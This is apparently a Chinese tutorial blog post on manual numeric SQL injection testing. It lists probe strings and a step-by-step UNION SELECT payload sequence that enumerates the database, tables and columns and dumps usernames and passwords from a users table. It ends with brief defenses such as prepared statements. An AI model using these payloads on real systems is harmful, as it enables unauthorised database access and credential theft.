Sql注入--数字型手工测试

时间:2025-05-11 21:06:02

Sql注入--数字型手工测试

漏洞原因:是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)

测试语句:

  1. 直接加参数判断 ‘ / \   (有报错代表可能有注入点)
  2. 1 and 1=1
  3. 1 and 1=2
  4. 1’ or 1=1 --+
  5. 1’ or 1=1 #
  6. 1’ or ‘1’=’1

Sql注入--数字型手工测试

发现有注入点,测试步骤:

  1. 判断字段数  1' order by 2--+
  2. 查看可代入查询的点  1' union select 1,2--+
  3. 爆数据库   1' union select 1,database()--+
  4. 爆表  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  5. 爆字段  1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
  6. 爆内容   1' union select 1,concat(user,0x2f,password) from users --+

判断字段数,看到有回显的,说明有2个字段数。

Sql注入--数字型手工测试

通过union slelct 看到2个字段数,哪里可以代入查询,发现1跟2都可以

Sql注入--数字型手工测试

爆数据库

Sql注入--数字型手工测试

爆表,得到有2张表,我们关心是users表

Sql注入--数字型手工测试

查看users表的字段

Sql注入--数字型手工测试

查看user,password 内容,得到有5条数据

Sql注入--数字型手工测试

漏洞防护:

  • 检查变量数据类型和格式
  • 过滤特殊符号
  • 绑定变量,使用预编译语句 

Sql注入还有很多种类型,原因都是一样,难点主要是找注入点。当然用工具的话是会快很多。

好了数字型的手工注入,告一段落,下次带来sqlmap注入的简易操作